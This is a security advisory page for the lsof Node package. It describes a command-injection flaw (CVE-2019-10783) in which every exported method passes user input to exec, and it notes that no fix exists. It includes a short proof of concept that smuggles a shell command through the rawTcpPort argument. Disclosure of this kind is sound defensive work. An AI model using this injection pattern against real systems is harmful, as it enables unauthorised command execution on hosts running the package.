Command Injection Affecting lsof package, versions *


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
29.72% (97th percentile)

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  • Snyk IDSNYK-JS-LSOF-543632
  • published29 Jan 2020
  • disclosed29 Jan 2020
  • creditJHU System Security Lab

Introduced: 29 Jan 2020

CVE-2019-10783  (opens in a new tab)
CWE-78  (opens in a new tab)
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How to fix?

There is no fixed version for lsof.

Overview

lsof is a lsof processor for node.

Affected versions of this package are vulnerable to Command Injection. Multiple areas of the package is vulnerable to command injection. Every exported method used by the packages uses the exec function to parse user input.

PoC by JHU System Security Lab

var root = require("lsof");
var attack_code = "& echo vulnerable > create.txt &";
root.rawTcpPort(attack_code, function(){});

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